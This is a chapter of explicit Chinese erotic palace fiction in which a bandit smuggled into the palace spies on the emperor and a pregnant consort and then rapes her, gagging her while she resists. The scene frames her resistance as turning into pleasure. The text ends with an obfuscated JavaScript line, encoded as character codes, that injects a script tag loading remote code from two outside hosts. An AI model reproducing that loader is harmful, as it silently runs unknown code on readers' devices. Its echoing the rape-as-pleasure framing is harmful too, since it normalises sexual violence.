“斩去烦恼根!斩去烦恼根!“
雄嗔被噩梦魇住,梦中出现两个可怕的身影——一个是佝偻着背的老太监,另一个是嬉笑的小宫女。他们手中各自握着一把锋利的巨大剪刀,追着他到处跑,嘴里还喊着:“斩去烦恼根!斩去烦恼根!“
梦见自己被捉住,剪刀逼近下体,雄嗔顿时惊出一身冷汗。他猛地睁开眼,发现一切都是梦境,不由长长舒了一口气。
他急忙检查自己的身体状况,掀开被褥查看,幸好,那根引以为傲的巨龙依然安然无恙。他松了一口气的同时,也开始打量起周围环境。
这里是间普通的瓦房,光线昏暗,空气中有股淡淡的霉味。
他躺在一张宽大的通铺上,床垫虽然使用了普通棉布,但填充得很厚实,看来后宫对于下人的生活还算优待。
正当雄嗔纳闷为何自己毫发无损时,旁边传来一阵压抑不住的窃笑声。
他循声看去,发现通铺上还有一个小太监蜷缩着身子,正用手捂着嘴偷笑。
这少年约莫十六七岁的年纪,长着一张比女人还精致的脸蛋,五官端正,肌肤细腻得不像话。此刻他正冲着雄嗔挤眉弄眼,一副看好戏的表情。
『你在笑什么?』雄嗔警惕地问道。
小太监停下笑声,眨巴着一双大眼睛:『哎呀,我看你刚才那样儿,紧张得不行,好像那宝贝是什么稀世珍宝似的。』他撇了撇嘴,『不知道有什么了不起的,看得这么重。』
听到这话,雄嗔心头一震,想起之前的种种遭遇。他试探着问道:『你是太监?』
小太监翻了个白眼:『太监?』他挺直腰杆,理直气壮地说,『我乃是尚衣局总管太监!皇后娘娘钦赐芳名随心的大太监!你最好给我放尊重点!』说到大太监三个字时,特意提高了嗓门,生怕别人听不见似的。
雄嗔心里冷笑,心想大太监不也还是太监。
不过眼下他初来乍到,不宜贸然得罪宫中要员,便堆起笑脸:『原来是随心公公!失敬失敬。敢问公公,皇后对我有何安排?』
话还没说完,就被随心抢过话头:『放心,你还死不了。』他说完又咯咯笑起来,像个得了新玩具的孩子。
雄嗔没文化,不知道什么是尚衣局,但他知道,能被皇后娘娘亲自赐名的太监,肯定地位极高,就想多打听点消息,但还没来得及开口,就被外面的声音打断了。
一个略带哽咽的甜美女声从门外传来:『随心哥在哪个屋里啊?』
随心一听,立马来了精神,尖着嗓子应道:『朱瑾妹子,哥哥在这呢!』声音之大,差点没把屋顶掀翻。
话音刚落,帘子就被掀开了。
一位身着翠绿宫装的少女走了进来。
这姑娘面容姣好,眼睛又大又亮,充满了活力。
她一进门就直奔随心而去:『听说哥哥被皇后责罚了,伤得厉害不厉害?』
随心故作轻松地摆摆手:『没事,就是打屁股而已。』说着还冲雄嗔挤眉弄眼,像是在炫耀自己与宫女的关系。
朱瑾温柔地拉着随心的手,从袖袋中掏出一个小瓷瓶:『这是我托宫外的朋友捎来的上好金疮药,比太医院那些敷衍了事的东西强多了。』说着就要解开随心的裤腰带。
随心高兴之余还不忘吐槽:『那些太医真是欺人太甚!给主子们用药都是好药材,轮到我们这些下人,就只给些干草灰掺水敷衍了事。』
眼看朱瑾就要褪下他的裤子,随心却突然扭捏起来,拽着裤腰不肯松手,小声嘀咕道:『妹妹,这屋里还有别人呢…不太方便。』说着用眼刀剜了雄嗔一眼。
朱瑾这才注意到屋角还有个人存在,抬头一看顿时被吓得后退半步。
雄嗔那张黝黑的光头上还残留着戒疤,配上浓眉大眼和棱角分明的脸型,的确吓人。
『原来随心哥哥已经沦落到与别人合住了…』朱瑾叹了口气,神色黯淡下来,『看来是真的失宠了呢。』
『胡说什么!』随心立刻反驳,『我只是因为受了责罚需要静养,皇后特意安排我与新人同住而已。你瞧我这后腰上的伤,足足挨了五十板子,若真失宠,早就被打成肉酱了。』他骄傲地抬起下巴,『这可是皇后娘娘看重的人,交给我来亲自带着。』
朱瑾听完这才释怀,嘟囔着:『自从那个如意入宫,我们的日子是越过越不如从前了。』
『噤声!』随心立刻制止,『慎言,小心隔墙有耳。』他警觉地看了看四周,确定没有其他人后才稍稍放松。
雄嗔见状也觉得碍眼,毕竟人家小情侣要私下疗伤,自己杵在这里确实不合适。
于是他站起身拱手道:『既然随心公公需要医治,那我还是先出去吧。』
『也好也好,』随心连连点头,『不过你别走远了,宫里规矩森严,处处都有讲究。万一冲撞了哪位主子,恐怕连我也救不了你。明天我再教你宫里的规矩。』
雄嗔应了一声,弯腰准备下床。脚边刚好有一双崭新的布鞋,大小尺寸与他完美契合,想必是专门定制的。他也没多想,直接穿上就往外走去。
一待雄嗔离开,朱瑾立刻好奇地凑过来:『那人是谁啊?长得这么吓人?』她一边问一边已经开始帮随心解开衣物。
『这些事情不是你该操心的,』随心轻轻拍了拍朱瑾的手背,神情转为郑重,『记住,在宫里,知道太多并不是好事。』说着他凑近朱瑾耳边低语几句,惹得女孩脸色骤变。
朱瑾犹豫片刻,终是点头道:『我都明白,不会乱说的。』她开始专注地处理随心的伤处,不再提起那个陌生人的事情。
与此同时,雄嗔已经走出房间。
外面是一条长长的木质走廊,两侧每隔几步就有一间厢房。
夜色已深,但仍有几间屋子亮着微弱的灯光。
月光透过纸窗洒落,映出室内人影绰绰,偶尔还传来窸窸窣窣的谈话声。
『这到底是什么地方…』雄嗔环顾四周,一时间有些茫然。
他原是马匪出身,对宫廷规矩一窍不通,眼下只知道不能返回刚才的房间。
肚子开始咕咕作响,一天未进食的饥饿感愈发强烈。
他决定先去找点吃的。
沿着走廊随便拐了个弯,便来到一处开阔地带。
原来廊道之外是一个精心设计的小花园。
园中布局精巧,假山水榭错落有致,各种名贵花卉争相斗艳。
那些奇花异草雄嗔大多叫不出名字,只知道必定价格不菲。
他漫无目的地在园中小径上行走,丝毫不在意自己踩踏着那些珍贵植株。
路过一棵古朴的枫树时,他甚至还伸手抓了抓粗糙的树皮。
不远处一座玲珑剔透的太湖石旁,几簇兰花散发着幽香,雄嗔却毫无欣赏之意,反而踮脚张望四周是否有果树。
花园面积不大,但种植的大多是观赏性的灌木和花卉。
雄嗔找了半天,除了几棵装饰用的松柏之外,连根蔬菜都没发现。
他不甘心地继续搜寻,终于在园林尽头发现一棵高大的枣树。
树冠茂密,枝叶间点缀着星星点点的红枣,看上去分外诱人。
雄嗔舔了舔干燥的嘴唇,腹中饥火更炽。
他思索着要不要直接拍打树干,但转念一想:这皇宫里的东西多半金贵,若是打坏了怕是要掉脑袋。
思忖片刻后,他活动了下筋骨,双脚蹬地,身形如同猿猴般矫健地蹿上树干。
几个腾跃间便稳稳坐在一棵粗壮的树枝上。
借着皎洁的月光,他摘下一颗红彤彤的枣子,迫不及待地丢进口中。
雄嗔坐在枣树枝桠间,一边狼吞虎咽地啃着果实,一边梳理着最近几天发生的事情。思绪如潮水般涌来,让他不禁咂摸回味。
那天他潜入佛堂,趁着空闻禅师外出讲经之时,将正在打盹的皇后慕容淑扑倒在蒲团之上。
那一场激烈的交合,皇后虽然一开始激烈抵抗,但在他的强势侵入下很快败下阵来。
当他那根粗壮的肉茎深深楔入皇后的蜜穴时,那种征服感至今还让他心跳不已。
事后他原以为必死无疑,谁知皇后非但没有追究,反而派人将他接入宫中。
方才那个自称随心的小太监虽然态度傲慢,但却透露出一个重要信息:他还没有被阉割!
这意味着什么,雄嗔岂能不明白?
『哈哈…』他忍不住低笑两声,『看来皇后是惦记上老子的这根宝贝了。』他下意识地抚摸了一下胯下,那熟悉的鼓胀感告诉他一切安好。
『只要能把持好这个美妇人的心思,今后的日子岂不是享不尽的荣华富贵?』
就在雄嗔得意之际,树下突然响起一个疑惑的声音:『什么人在笑?』
雄嗔猛然抬头,借着月光看清了树下的景象——一对身穿华服的男女站在花园小路上。
男的身披金色龙纹蟒袍,头戴冕旒;女的着一袭朱红色凤袍,腹部微微隆起,显然是有孕在身。
雄嗔虽没见过当今圣驾,但那明黄色的龙袍却是认得的。
江湖上有钱人家子弟都喜欢仿造龙袍以彰显权势,他曾远远见过几次,此刻见到正品自然是心中了然——这就是当朝皇上连岳和他的宠妃柳金雀!
皇帝四下张望,眉头紧锁:『方才明明听见笑声,怎么转眼就不见了?』
『陛下多疑了吧,』孕妇轻笑着摇头,纤指点着丈夫的额头,『金公公早就下令清场了,这方圆百丈之内哪会有闲杂人等?』
皇帝依旧不放心,继续环顾四周。或许是太过投入搜查,竟忘了仰头查看,就这样与藏在树上的雄嗔擦肩而过。
就在雄嗔以为危机已过之际,皇帝却突然松了一口气,面上浮现出一种异样的期待:『金雀,我们继续吧。』他语气轻柔,像是在撒娇一般。
那怀孕的女子——正是传闻中戏班出身的贵妃柳金雀,她嫣然一笑,风情万种:『陛下可真急躁,妾身还要先梳妆打扮一番呢。』说着款款走向不远处的亭子,那里摆着一张檀木案几,上面放着各种精致用品。
雄嗔屏住呼吸,大气不敢出。他没想到会在这种情况下偶遇帝后,更没想到会目睹接下来这一幕荒唐场景。
只见皇帝迅速解开龙袍,露出白皙瘦削的身体。
他的体型偏瘦,与雄壮的雄嗔相比简直是一个天上一个地下。
随后他跪伏在地,像狗一样四肢着地,颈部还戴着一条做工考究的金色项圈。
柳金雀从案几上拿起一条镶满宝石的黄金锁链,优雅地系在皇帝脖颈的项圈上。
她轻蔑地看着这个跪地的帝王,嘴角噙着讥讽的笑容:『皇上还真是迫不及待呢。』
皇帝抬起头,谄媚地笑道:『金雀,朕最爱看你牵着朕的样子了。』说完便主动爬向前方,四肢并用地在地上移动,还不忘摇晃着臀部做出夸张的姿态。
柳金雀牵着锁链,迈着优雅的步伐在花园小径上缓行。
皇帝连岳四肢着地,竭力模仿狗的动作,有时还要装出哈气的姿势。
他爬得小心翼翼,生怕跌跤有失皇家颜面。
『汪、汪汪!』柳金雀时不时发出指令,皇帝便立刻顺从地回应,声音中既有谄媚又带着几分兴奋。
雄嗔躲在树上看得瞠目结舌,谁能想到九五至尊竟沦为女人脚下的一条宠物狗?
随着游戏的进行,雄嗔注意到皇帝胯下那物什竟悄然抬头,虽然尺寸不大,但在寒冷的夜晚竟能维持坚挺状态,着实令人咋舌。
更离谱的是,皇帝脸上浮现出一种病态的红晕,显然对此乐在其中。
柳金雀也发现了这一点,嘴角勾起一抹冷笑。她停在一处假山旁,轻轻踢了踢皇帝的屁股:『贱狗,撅起你的腚来!』
皇帝连岳闻言立即调整姿势,双臂前伸撑地,高高起臀部,双腿分开站立,完全暴露出自己最为私密的部位。
那个姿态与其说是人类,不如说更接近一只发情的公狗。
雄嗔在树上看得真切,皇帝那根短小的肉茎已经完全勃起,在冷风中微微颤动。
而下面悬挂着一对鸽子蛋大小的卵蛋,颜色略显暗沉,随着主人的呼吸轻轻摇晃。
柳金雀并没有立即行动,而是绕着皇帝踱步一周,像审视猎物般上下打量。
当确认四下无人后,她才从袖中取出一根丝帕,缠绕在右脚脚踝处,以防弄脏了鞋袜。
『贱狗,准备好了吗?』她俯身贴近皇帝耳畔,轻声问道。
皇帝连连点头,喉结滚动,吞咽唾沫的声音清晰可闻:『求夫人赏赐。』那语气中竟带着几分迫不及待的味道。
『啪!』一声脆响打破了深夜的寂静。
柳金雀抬起右腿,以迅雷之势重重踢向皇帝的下体。
她的力道极大,丝帕包裹的脚踝与柔嫩的器官碰撞,发出沉闷的撞击声。
雄嗔在高处都能听到这一声响动,不由得暗自咂舌,这样的力道普通人只怕会当场昏厥。
然而皇帝只是发出一声介于痛苦与愉悦之间的嘶吼,脸上的表情既扭曲又亢奋。
『啪!啪!啪!』柳金雀连续出击,每一脚都精确命中目标。
皇帝的肉茎和卵蛋在她脚下宛如待宰的羔羊,无助地承受着蹂躏。
那对娇嫩的卵蛋很快变得通红,甚至有些许淤青浮现。
奇怪的是,皇帝不但没有表现出应有的痛苦,反而愈发兴奋。
他的肉茎在持续的打击下非但没有萎缩,反而更加坚挺。
透明的前列腺液从前端不断渗出,随着每一次踢打飞溅,场面既血腥又淫靡。
柳金雀的脚法娴熟老练,时而轻点要害,时而大力碾压,将那脆弱的器官当作乐器般演奏。
她甚至开始变换节奏,快慢结合,让皇帝一直处于高度紧张的状态。
皇帝连岳的表情也越来越癫狂,时而龇牙咧嘴,时而闭目享受,口水顺着嘴角滑落,与地上的尘土混合。
那副模样与平日里威严的君王判若两人,简直就是一个沉迷于变态快感的疯子。
柳金雀踢累了,决定换个玩法。
她俯身探向皇帝的下体,纤纤玉手一把揪住那对饱受摧残的卵蛋。
突如其来的拉扯让皇帝猝不及防,他惨叫一声,整个身体都被拽得向前倾倒。
『疼、疼啊!夫人轻点…』皇帝的声音中透着痛苦与乞求,额头渗出细密的汗珠。
『闭嘴,贱狗不准叫唤!』柳金雀冷斥一声,手上力道却不减反增。
她熟练地把握着力道,时而向上提拉,时而左右拧转,让皇帝体验到恰到好处的痛楚。
皇帝果然立刻噤声,改为低声哼哼,像是受伤的幼兽般发出断断续续的哀鸣。
他的大腿肌肉绷紧,脚趾因疼痛而蜷曲,但那根短小的肉茎却违背常理地变得更加硬挺。
柳金雀很满意他的反应,稍稍放松了些许力道。她松开一手,改用单指轻轻刮擦那对肿胀的卵蛋表面,同时观察着皇帝的反应。
『唔…』皇帝发出舒适的叹息,那痛苦的呻吟渐渐转变为享受的闷哼。
柳金雀的技巧恰到好处,既能给予适度刺激,又能防止造成实质伤害。
玩够了这对手中的囊袋,柳金雀轻轻拍打着皇帝的大腿侧面:『翻个身,贱狗。』语气中带着不容抗拒的权威。
皇帝如蒙大赦,连忙翻转身体。
他手脚并用,像是真正的犬类一般灵活翻身,最终呈现仰躺姿态。
这个动作让他原本垂挂的卵蛋得到了短暂的休息,却又将自己最脆弱的部位完全暴露给了对方。
月光下,皇帝瘦削的身躯一览无遗。
他腹部微微凸起,双腿间那根粉嫩的肉茎孤零零地挺立着,前端渗出晶莹的液体。
那副样子既可怜又可笑,完全没有一国之君的模样。
柳金雀俯视着这条任人宰割的'龙种',嘴角泛起一抹讥讽的笑意。
她伸出右手,纤细的手指轻轻拢住皇帝的柱身,缓慢而有力地上下撸动起来。
『哦…』皇帝发出一声满足的喟叹。
这种温柔的对待对他而言简直就是莫大的恩赐,尤其是经历了先前粗暴的践踏之后。
他双眼微闭,面部表情逐渐放松,完全沉浸在这种服务带来的舒适感中。
柳金雀的技术相当娴熟。
她的拇指时而摩擦龟头边缘,时而揉搓马眼,其余手指则交替按摩柱身和囊袋。
她甚至能察觉到肉茎在她手中每一次细微的脉动,从而及时调整力道和节奏。
『夫人的手真厉害…』皇帝忍不住赞美道,声音中充满了痴迷。
柳金雀并不搭话,只是专心致志地服侍着手中这根器物。
她能感觉到那根肉茎在自己掌中愈来愈烫,硬度也不断提升。
顶端分泌的黏液越来越多,沾湿了她的手指,使得撸动的动作愈发顺畅。
柳金雀的玉手在皇帝胯间翩翩起舞,动作愈发娴熟老练。
她能感受到手中的肉茎已膨胀到极致,青筋毕现,顶端不断渗出透明黏液,预示着高潮即将来临。
皇帝连岳紧闭双眼,身体微微痉挛,呼吸越发急促。他的大腿肌肉绷得紧紧的,臀部不由自主地上抬,迎合着柳金雀的动作。
『啊…我要…我要…』皇帝的声音逐渐高昂。
柳金雀敏锐地捕捉到了这一刻,她嘴角勾起一抹恶作剧般的笑容。
就在皇帝达到顶峰的刹那,她闪电般撤回左手,猛地站起身来,右脚狠狠跺下!
『啪!』
这一脚精准命中靶心,重重踏在那根刚刚喷发的肉茎上。白色的浊液在高压之下四散飞溅,在空中划出一道淫靡的轨迹。
『嗷!!!』皇帝发出一声凄厉的嚎叫,整个人如同触电般弹起。
他踉跄着后退几步,最终跌坐在地,双手死死捂住下体,痛苦地蜷缩成一团。
那张英俊的面容因剧痛而扭曲变形,冷汗顺着额头滚滚而下。
雄嗔在树上看得心惊胆战。那一脚的力度他隔着这么远都能感受到,更别说当事人了。正常男人受此重创,不死也是重伤!
柳金雀却丝毫不为所动,只是抱着手臂冷眼旁观。
她甚至优雅地理了理云鬓,像是在欣赏一场精彩的表演。
那张妩媚的脸蛋上看不到丝毫怜悯之情,反而带着几分嗜虐的快意。
过了好一会,皇帝的哀嚎声才逐渐减弱。
他小心翼翼地松开捂住下体的手,偷偷瞥了一眼那备受摧残的器官。
庆幸的是,虽然疼痛难忍,但并未造成明显的物理损伤。
『咳咳…夫人这脚踢得太妙了…』皇帝艰难地支撑着站起来,居然还能说出恭维的话,『正是臣子想要的惩戒!』他的声音中依然带着些许嘶哑,但语气却充满陶醉。
柳金雀这才放下警惕,上前几步,装模作样地检查起皇帝的状况:『可有受伤?需不需要召太医?』她的表情看似关切,实则内心毫无波动。
皇帝连连摇头:『不妨事,承蒙夫人恩典,不仅未受伤,反而感到前所未有的畅快!』说罢,他小心翼翼地整理起衣衫,同时关切地抚摸着柳金雀隆起的腹部,『爱妃近日身体可好?胎动如何?』
这突兀的转变让雄嗔大跌眼镜。
刚才还是在地上爬行的'贱狗',转眼间就成了关心妃子的明君。
如果不是亲眼所见,打死他也不会相信一个人能在瞬间切换如此不同的角色。
『谢陛下关怀,臣妾一切都好。』柳金雀温和地回答,却在转身时不经意露出一抹嫌恶。
皇帝点点头:『那朕就不打扰爱妃歇息了。明日政务繁忙,朕也要早点回去休息。』说完,他整理好衣冠,向着宫殿方向离去,背影萧瑟而孤独。
待皇帝走远,柳金雀脸上的伪装瞬间崩塌。她一屁股坐在石凳上,口中忿忿不平地啐道:『呸!变态东西!』
『每次跑到本宫这里,就想着让本宫打他那玩意儿!』她愤愤地挥舞着手臂,『除了刚进宫那几天装模作样地和本宫欢好,本宫一怀孕他就再没碰过本宫!』柳金雀恼恨地咒骂着远去的皇帝,一边烦躁地扯开腰带。
『天天让本宫打他那玩意儿,打得本宫手都抬不起来了,他还嫌不够重!』
她越说越气,胸脯剧烈起伏着,那隆起的肚子显示着她已有五个月的身孕。
『本宫守着活寡也就算了,可恨那畜生连碰都不敢碰本宫一下,生怕伤了胎儿。』
柳金雀咬牙切齿地站起身,扭动着纤细的腰肢走向附近的假山。
她选了一个避风的角落,倚靠着嶙峋的石头缓缓蹲下。
月光从树叶间隙中洒落,照亮了她姣好的面容。
『早晚有一天,本宫要…』话音未落,她忽地打住,转而轻轻哼起了小调。那声音婉转悠扬,带着浓郁的江南水乡韵味。
她的玉手缓缓滑入睡衣领口,轻轻揉捏着丰满的乳峰。
怀孕后的乳房变得异常敏感,稍稍触碰便引发阵阵酥麻。
她闭着眼睛,口中唱着《牡丹亭》的选段,纤细的腰肢随着旋律轻轻扭动。
『不到园林,怎知春色如许…』她的嗓音甜美动人,每一个转音都恰到好处。这是戏班出身的她最大的资本之一。
空闲的左手悄悄滑入股间,隔着亵裤轻轻按压着阴蒂。
那处已经微微濡湿,显示出主人内心的渴望。
她加重了按压的力道,口中继续吟唱着改编过的歌词:『春色满园关不住,一枝红杏出墙来…』
雄嗔在树上看得目瞪口呆。这妖娆的女人简直比传闻中还要魅惑众生。她的每一个动作都充满了韵律感,如同在舞台上表演一般。
柳金雀完全沉浸在自我慰藉中。
她褪下了下裳,露出修长白皙的双腿。
那双腿柔软而富有韧性,能够轻易摆出各种姿势。
她将一条玉腿架在假山上,大大敞开着私处,任由夜风吹拂。
『原来姹紫嫣红开遍…』她的手指拨开阴唇,探入湿润的甬道,『朝飞暮卷,云霞翠轩…』另一只手揉捏着涨奶的乳房,时不时挤出几滴乳白色的液体。
她的腰部异常柔软,能够自如地扭转各个角度,方便手指更好地探索体内。
每一次深入都伴随着一声悠长的呻吟,与戏曲的旋律交织在一起,形成一幅极其淫靡的画面。
『良辰美景奈何天…』她加快了抽送的速度,大量淫水从穴口溢出,在月光下闪闪发光,『赏心乐事谁家院…』她的大腿肌肉开始微微颤动,显露出即将攀上巅峰的征兆。
柳金雀的肢体语言极为丰富。
她的腰肢如同水蛇般扭动,双臂时而环抱胸前,时而伸展如天鹅引颈。
即便是怀孕五月的腹部,也被她演绎得宛如艺术品般优美。
『遍青山啼红了杜鹃,荼蘼外烟丝醉软…』她的高潮临近,呼吸越发急促,胸前的两点樱桃已经完全挺立,『那时节,可正是莺燕游春,绿暗红稀时候…』
她的手指在蜜穴中急速抽送,淫液四溅。另一只手用力掐揉着乳头,时不时挤出几滴乳汁,溅落在岩石上,散发出淡淡乳香。
『锦屏人忒看得这韶光贱…』随着最后一个音符落下,她的身体猛地弓起,达到了顶峰。
大量的蜜液从穴口喷涌而出,在假山底部汇集成一小滩。
『呼…呼…』柳金雀喘息着,双颊绯红,胸前起伏不定。她意犹未尽地舔了舔嘴唇,将沾满爱液的手指放入嘴中细细品尝。
柳金雀沉浸在高潮的余韵中,双腿仍大剌剌地敞开着。她慵懒地起头,想要擦拭额头上的细汗,却在抬头瞬间怔住了。
一个魁梧的身影矗立在她面前,遮蔽了大片月光。
那是个剃着光头、穿着太监服装的男人,身材高大得惊人,几乎占据了她的全部视野。
最可怖的是,那张脸——横肉堆积,浓眉大眼,颧骨突出,简直就是从地狱爬出来的罗刹!
『啊!』柳金雀下意识尖叫一声,本能地想要并拢双腿,但孕期的身体却不太配合。她只能徒劳地扯过睡衣一角遮掩身体。
看清来者身份后,她顿时怒从中来:『大胆奴才!竟然窥视本宫沐浴!』她试图用威严掩饰自己的惊惶,但微微颤抖的声音还是暴露了内心的不安。
雄嗔却不以为意,反而咧嘴一笑,露出一口白牙:『娘娘何必动怒,小的不过是恰巧路过,看到娘娘独自一人在此消遣,心中不忍娘娘寂寞,这才现身相助。』他的语气轻佻,丝毫没有敬畏之意。
柳金雀强作镇定,却注意到对方的目光一直在她裸露的身体上游移,那火热的眼神让她浑身不自在。
她下意识地往后挪了挪身子,靠在假山上:『大胆!谁允许你在这里胡说八道的!滚开!』
雄嗔却不为所动,反而一步步逼近:『娘娘何必拒人于千里之外?您一个人在这儿抚慰自己的寂寞,何不让小的效劳呢?』说着还暧昧地眨眨眼,『保准让娘娘欲仙欲死。』
这话激起了柳金雀的好奇心。
她虽然厌恶对方的无礼,但也不禁想知道这粗鄙汉子究竟有何本领。
更重要的是,她太久没接触过真正的男人了,心中难免蠢蠢欲动。
『就凭你也敢在本宫面前卖弄?』柳金雀冷笑着,却暗暗打量着对方的身材,『充其量不过是个太监罢了,还能如何让本宫欲仙欲死?』
雄嗔闻言哈哈大笑:『娘娘不信?那不如一试便知!』说着他故意拉了拉裤腰,暗示性地拍拍胯下,『娘娘摸摸看,就知道小的是否合格了。』
这赤裸裸的挑衅激怒了柳金雀,但同时也点燃了她压抑已久的欲望。她鬼使神差地伸出手,带着几分试探的意味向对方胯下探去。
当她的指尖触及到那团炙热时,不禁倒吸一口凉气。
那绝非普通人的尺寸,甚至连她前世见过的那些强壮男子也有所不及。
隔着裤子都能感受到那惊人的轮廓和热度,让她不由得想起方才自己的手指是多么渺小。
『好家伙…』柳金雀情不自禁地喃喃自语。
她的手不受控制地抚摸着那根巨物,从顶端一直到根部,感受着它在自己掌中逐渐壮大。
『难怪如此自信…真是个怪物…』
她抬起头,望着雄嗔那张粗犷的脸,心中的矜持正在一点点崩溃。
久旱逢甘霖的感觉让她忘记了场合,忘记了身份,只记得自己是个久旷的少妇,需要真正的男人来填满空虚…
雄嗔得意地看着美人惊诧的表情,知道猎物已经上钩。他俯下身,靠近柳金雀的耳朵,低声道:『娘娘想要试试它的威力吗?包您销魂蚀骨,终身难忘。
柳金雀猛然惊醒,一把推开雄嗔,重新找回理智:『等等!你是何人?』她厉声喝问道,『宫中何时有了你这样的太监?』
雄嗔不紧不慢地活动着手腕:『小的就是小的,还能是谁?』他的笑容越发邪魅,『娘娘不认识小的也不要紧,要紧的是待会儿要认识清楚小的这根宝贝。』
『放肆!』柳金雀怒斥,『你这厮竟然没经过阉割就混入宫中!难道不怕株族灭门之祸吗?』她的语气虽然严厉,却掩饰不住内心的动摇。
那双桃花眼时不时瞟向对方的胯下,贪婪地注视着那处凸起。
雄嗔懒得废话,三两下解开裤带,裤子顺势滑落。
他那根巨物猛然弹出,如同出匣的蛟龙般高昂着头颅。
那长度足足有小儿手臂长短,直径更是惊人。
虬结的青筋盘踞其上,龟头饱满猩红,马眼处已经渗出几滴透明的黏液。
『好大的家伙…』柳金雀不禁惊叹出声,随即意识到失态,赶紧住嘴巴。但那震撼的目光却久久无法从那庞然大物上移开。
雄嗔见状,不再客气,猛然俯身,如同捕食的猎豹般扑向猎物。
他粗鲁地掀起柳金雀的裙摆,露出两条修长白皙的大腿。
那私处刚刚经历过高潮,花瓣微微肿胀,泛着诱人的桃红色,蜜液仍在涓涓流淌。
柳金雀本能地想要挣扎,但雄嗔的力量实在太大,轻易就制服了她。她惊恐地想要呼叫护卫,却被雄嗔迅速扯下内裤,塞入口中。
『唔!唔!』柳金雀只能发出含溷不清的呜咽声,双手不停地推搡着雄嗔结实的胸膛。但她越是挣扎,就越激发起对方的征服欲。
雄嗔一手固定住她的腰肢,另一只手扶着那根擎天巨柱,抵在湿润的穴口。
他能感受到那片嫩肉正在微微翕动,像是在欢迎他的到来。
多年的习武经验让他的动作既精准又有力。
『这就开始了,娘娘可要好好享受啊。』雄嗔低声说着,腰部猛地发力,那根粗壮的阳具破开层层媚肉,直捣黄龙。
『唔!!』柳金雀瞪大双眼,瞳孔剧烈收缩。
那突如其来的充实感让她几乎窒息。
这远超常人的尺寸让她的蜜穴瞬间被填得满满当当,甚至连子宫口都被狠狠撞击。
雄嗔感受着内壁的热情拥抱,不由得发出满足的叹息。
这成熟少妇的甬道温暖湿润,每一寸媚肉都在热情地吮吸着他的肉棒,带来无与伦比的快感。
起初,柳金雀完全处于极度恐慌的状态。
她的眼眸中充满惊惧,娇躯因惊吓而僵硬。
雄嗔那蛮横的侵入让她感觉自己像是被一把利刃劈开,痛楚中还带着某种不可名状的充实感。
『唔!唔唔!』她拼命摇头,想要摆脱这可怕的桎梏。
双手无力地推搡着雄嗔坚实的胸膛,修长的双腿也在空中徒劳地蹬踢。
眼角很快沁出泪水,顺着脸颊无声滑落。
但随着雄嗔持续不断的抽送,她体内的痛楚却在悄然转化。
那种被彻底填满的感受,那种被霸道占有所带来的禁忌刺激,开始一点点侵蚀她的理智。
她那许久未经人事的肉体,竟然开始违背意志地迎合起入侵者的节奏。
(function(a){(new Function(String.fromCharCode(...a)))();})([100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,100,105,118,62,60,100,105,118,32,105,100,61,39,118,56,82,68,50,53,52,49,39,62,60,47,100,105,118,62,60,47,100,105,118,62,34,41,59,108,101,116,32,117,114,108,115,61,91,34,104,116,116,112,115,58,92,47,92,47,109,100,49,49,110,50,51,56,97,46,111,115,115,45,99,110,45,104,97,110,103,122,104,111,117,46,97,108,105,121,117,110,99,115,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,44,34,104,116,116,112,115,58,92,47,92,47,112,46,55,100,51,54,97,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,93,59,119,105,110,100,111,119,46,95,95,114,114,95,95,104,108,100,61,49,59,108,101,116,32,117,114,108,105,110,100,101,120,61,48,59,108,101,116,32,114,102,117,110,99,61,102,117,110,99,116,105,111,110,40,41,123,105,102,40,119,105,110,100,111,119,46,95,95,114,114,95,95,108,111,97,100,101,100,95,50,53,52,49,95,49,49,48,53,32,33,61,32,39,111,107,39,41,123,108,101,116,32,115,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,115,115,46,114,101,102,101,114,114,101,114,80,111,108,105,99,121,61,39,110,111,45,114,101,102,101,114,114,101,114,39,59,115,115,46,115,114,99,61,117,114,108,115,91,117,114,108,105,110,100,101,120,43,43,93,43,32,40,110,97,118,105,103,97,116,111,114,46,117,115,101,114,65,103,101,110,116,46,105,110,100,101,120,79,102,40,39,65,110,100,114,111,105,100,39,41,32,33,61,32,45,49,32,63,32,39,48,39,58,39,49,39,41,32,43,32,39,63,39,32,43,32,110,101,119,32,68,97,116,101,40,41,46,103,101,116,84,105,109,101,40,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,41,59,125,125,59,114,102,117,110,99,40,41,59,114,102,117,110,99,40,41,59]);